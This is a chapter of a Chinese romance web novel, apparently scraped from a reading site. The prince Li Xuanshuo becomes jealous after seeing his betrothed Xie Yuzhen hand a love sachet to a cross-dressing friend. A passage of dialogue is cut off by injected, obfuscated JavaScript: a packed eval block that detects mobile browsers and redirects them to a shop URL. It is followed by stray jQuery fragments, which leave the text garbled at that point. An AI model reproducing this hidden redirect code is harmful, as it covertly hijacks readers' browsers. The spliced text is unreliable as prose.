100. 吃醋
作品:《白月光她活到大结局了》 那是一个小巧玲珑的香囊,绯红的底色上绣着精致的纹样,仔细一看,是绣着鸳鸯戏水。
暮春时节,洛水之畔,有意中人的女子会将香囊送给她的意中人,如果对方收下,则代表着接受了女子的心意。
李玄朔的眼神冰冷了几分,就在刚刚,他看到玉真与那男子举止亲昵,玉真送了香囊给他,而且他还收下了。
这香囊上的鸳鸯戏水刺眼得很,让人无法忽视。
玉真是江南人士,她或许不知道在洛水之畔送男子香囊意味着什么,如果那香囊上的图案不是鸳鸯戏水的话,李玄朔也许可以自欺欺人这样去想。
但那图案实在是过于暧昧了,鸳鸯戏水,就算是再亲近的朋友也不会送带有这样图案的物件,更何况女子送男子香囊本就意义非凡。
他鲜少生气,然而这一次却是快要克制不住了。
李玄朔的眼神凝霜,他看向谢玉真身旁那个男子时犹如利刃出鞘,无声的威胁透露,似是要见血封喉,他低沉的声音响起,“陈公子近来好像很闲,本王许久没有在舞阳姑母府上见过你了,没想到你今日竟然出现在洛水之畔。”
陈媛姬尴尬地笑了笑,道:“见过冯翊王殿下,小人失礼,还请见谅,今日得见殿下是小人的荣幸。”
此话一出,谢玉真也明白了,这俩人好像互相认识,谢玉真对着陈媛姬窃窃私语,小声问道:“你们认识?”
陈媛姬也小声和她说道:“之前在舞阳长公主府上见过几面。”
原来如此。
谢玉真了然,在梁国时李玄朔的主要目标全在朝堂上,对后宫女子应是没有多少关注,媛姬在梁国后宫的位分并不出众,也由此算得上“默默无闻”,李玄朔没见过她。
李玄朔与媛姬的真正见面是从媛姬来了洛阳,在舞阳长公主府上,媛姬因为舅父的缘故时常去舞阳长公主府上,而李玄朔有时也会去拜见他的姑母,这一来二去两人总有遇见的时候。
看着玉真又凑近那男子,两人还窃窃私语小声说话,李玄朔的眉又皱紧了些许。
李玄朔声音冷冽,他道:“玉真是本王未过门的王妃,陈公子虽受长公主爱重可也要顾及礼法,大魏律令森严,陈公子若有无礼之处纵使长公主出面也只怕无济于事。”
这是明晃晃的威胁了,李玄朔语气不善,很显然对陈元的不满已经达到了顶点。
这下轮到陈媛姬诧异了,她有些惊奇地看了谢玉真一眼,没想到玉真姐姐就要成为冯翊王妃了。
谢玉真不好意思地看了一眼陈媛姬,她刚刚没来得及告诉媛姬,现下从李玄朔口中说出她要成为她的王妃还挺突然的,是突然中带着尴尬。
大概是李玄朔平时过于淡然了,他生气了并且生气的还很严重谢玉真都没觉察太多,她还在那里和陈媛姬眉来眼去的。
不过也可能是因为李玄朔的生气没有针对于她,而是把所有压力都给到了她身旁的那个人身上。
陈媛姬就要承受不住李玄朔的眼神了,仿佛寒冷得快要将人冻住一般,他话里话外带着威胁,她知道,他方才所言不是玩笑,而是真的会那样做。
如果她惹怒了他的话,他是真的会让她消失在这个世界上的,而且是无声无息,连舞阳长公主都保不住她。
就是这样一种感觉,就是这样一种可怕的感觉。
陈媛姬心里无端升起隐隐的惧意,被他这种眼神看着,她藏在衣袍之下的腿肚竟忍不住想要打颤。
可怕,真是太可怕了。
魏国的这几位殿下没一个省油的灯,她在洛阳一直都安分守己,本本分分做点小生意,也没想着招谁惹谁,怎么一个两个都不想她好过。
陈媛姬在舞阳长公主府上见过魏国皇室的几位殿下,原以为这位冯翊王虽然淡漠疏离可也不是那种不好相处令人害怕得不行的人,但现在看来,她是大错特错了,这冯翊王的脾气也不怎么好。
玉真姐姐就要成为他这样的人的王妃了吗?
平时冷冷清清不爱说话,一生气起来眼神就仿佛要把人冻住,想想她都替玉真姐姐发愁。
不过这是之后的事情了,现在最要紧的是她再不说些什么只怕小命不保。
陈媛姬还是很会察言观色的,冯翊王一来了就对她语气不善,看向她的眼神就像是要杀人一般,这当然是有原因的。
原因是什么,自然是因为她离玉真姐姐太近了让冯翊王误会。
玉真姐姐与她熟稔,自然没发觉有什么不对劲,可问题是她现在扮作男子,她与玉真姐姐虽没有太过出格的举动,但在洛水之畔,她们俩方才面对面站着,距离在一尺之内对于普通男女来说这本就是个过于亲近的距离了。
何况玉真姐姐以后要成为冯翊王妃,冯翊王对自己的王妃在乎,自然不会喜欢她与旁的男子亲近,虽说她不是真的男子而是女子假扮的,但她一向伪装得很好,她在洛阳一向以男子身份示人,在别人看来她就是货真价实的男子,冯翊王当然一见她与玉真姐姐站在一起会心里不悦。
只是冯翊王气性还是过于大了,这一点陈媛姬还是有些不忿的微词的,毕竟她被他这样看着也算是无妄之灾了。
不过陈媛姬也不能解释,因为她目前还是得扮作男子不想泄露身份,不是所有人都能令她像信任玉真姐姐一样什么话都能说的。
想到这里,陈媛姬往后撤了几步,不着痕迹地拉开与玉真的距离,陈媛姬对李玄朔说道:“方才失礼了,冯翊王妃古道热肠,帮人送香囊给小人,只是小人不敢接受与冯翊王妃说清缘由,现将这香囊还给王妃,还请王妃对那姑娘解释清楚。”
说罢,陈媛姬又将手中的香囊给了谢玉真,她与谢玉真对视一眼,双方均明白了对方的意思。
陈媛姬心思缜密,她见李玄朔来时看见她手中的香囊便眼露不喜,心知他定然是以为这香囊是玉真姐姐要送给她的,洛水之畔送男子香囊若男子收下代表两人定下终身之约,玉真姐姐来日是要嫁予他做王妃的,也难怪他会生气。
现在那阿婉姑娘的香囊已经不重要了,她最担心的是怕玉真姐姐被冯翊王误会,将香囊还给姐姐由她再和冯翊王说清楚,这样两人也不会落下误解,至于阿婉姑娘,稍后她再想办法帮她吧。
果然,见她将香囊又给了玉真,李玄朔的脸色也好看了几分,他皱着的眉松开,道:“原来如此,是本王误会了,还请陈公子见谅。”
陈媛姬道:“无妨无妨。”
话也说清楚了,李玄朔也不想和他继续多说,当下便要带着谢玉真离开,“本王与王妃还有要事在身,现在就不打扰陈公子了,来日有机会本王再作拜会。”
陈媛姬道:“不敢不敢,恭送殿下与王妃。”
谢玉真与她刚重逢没多久,心中还有许多话想和她说,只是顾念此地确实不宜说话,又有李玄朔在场,她不能泄露媛姬的身份,于是便和媛姬告别,轻声道:“来日再会。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717288|172036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
两人的眼中都有不舍之意,匆匆离别,来日定会再聚。
李玄朔等着谢玉真,待她走到他身边时他一把握住了她的手,握得很紧似乎再也不想松开。
两人走了一段路,李玄朔起初沉默,而后开口道:“玉真,你知道在洛水边送给男子香囊代表什么吗?”
谢玉真点了点头,“我知道。”
“那你还送他?”
李玄朔停下脚步,他定定看向谢玉真,眼神幽深,谢玉真竟从他眼中读出了几分怨念,就像是受了委屈的小孩子一样。
谢玉真干笑了两声,她有些尴尬,“那个......那个不是我送他,是我替别人送给他的。”
李玄朔对上她的眼睛,目光一往直前毫不退缩,像是质问一般,道:“别人?玉真,你对别人为何如此关心?”
谢玉真自知理亏,不敢看他的眼睛,小声道:“阿婉姑娘很可怜的,如果不帮她把香囊送出去,她今天就回不了家了。”
说罢,谢玉真又将先前阿婉姑娘的故事原封不动讲给了李玄朔。
只是听完以后李玄朔的眼中没有任何变化,就好像这个故事打动不了他一样。
谢玉真正想说些什么为自己辩解一下,却听得李玄朔道:“可是,你还从没有送过我香囊呢。”
好吧,他的关注点还在香囊的上面,别人与他无关,他最关心的是玉真第一次送香囊的人竟然不是他。
“那我......以后送你?”
李玄朔目光黯了黯,他道:“如果不是玉真先前替别人送香囊被我撞见,只怕玉真也不会说以后送我香囊吧。”
他这语气,怎么像是受了天大的委屈一般,谢玉真无奈,只得安慰他,她道:“没有没有,我是真的发自内心想要送你香囊。”
李玄朔垂眸,整个人黯然了不少,“玉真不必解释,我明白的,玉真关心许多人,就连只有一面之缘的人你都愿意去替她送惹人误会的香囊,我真不知在玉真心里我算得了什么?”
谢玉真赶紧道:“不不不,你和她不一样,你和所有人都不一样,你是最重要的!”
男人生气了得赶紧哄,他这说话越来越像林黛玉式的阴阳怪气了,再让他说下去她都成了十恶不赦的了。
李玄朔没有被她一句话就哄好,虽然听到她说自己最重要时嘴角不可察觉的微微扬了一样,但很快归于平静,他又开始说道:“玉真不必骗我说这些违心之言,我都知道的。”
又来了又来了,他这委屈的小眼神,他这暗淡的目光,整个人幽怨非常,衬托得谢玉真一瞬间变成了欺负他的负心人。
谢玉真扶额,她的天啊,和他说话咋就这么累!
李玄朔以前也不这样啊!
所以他这是怎么了。
思来想去,谢玉真回想起刚才的种种,突然,一道灵光从她脑中闪过。
她知道了!
谢玉真贴近李玄朔,在他耳畔笑着问道:“阿朔,你是不是吃醋了?”
听到她叫自己阿朔,李玄朔一下子怔住了,他站在原地宛如被定住了身不能动弹。
这是她第一次叫他阿朔。
但她是在问他是不是吃醋了,李玄朔咳嗽一声,淡淡道:“没有。”
只是他耳后的微红还是出卖了他。
谢玉真发现了他的异样,眼中出现笑意,果然,男人的嘴骗人的鬼,他嘴里说着没有可身体还是很诚实的。

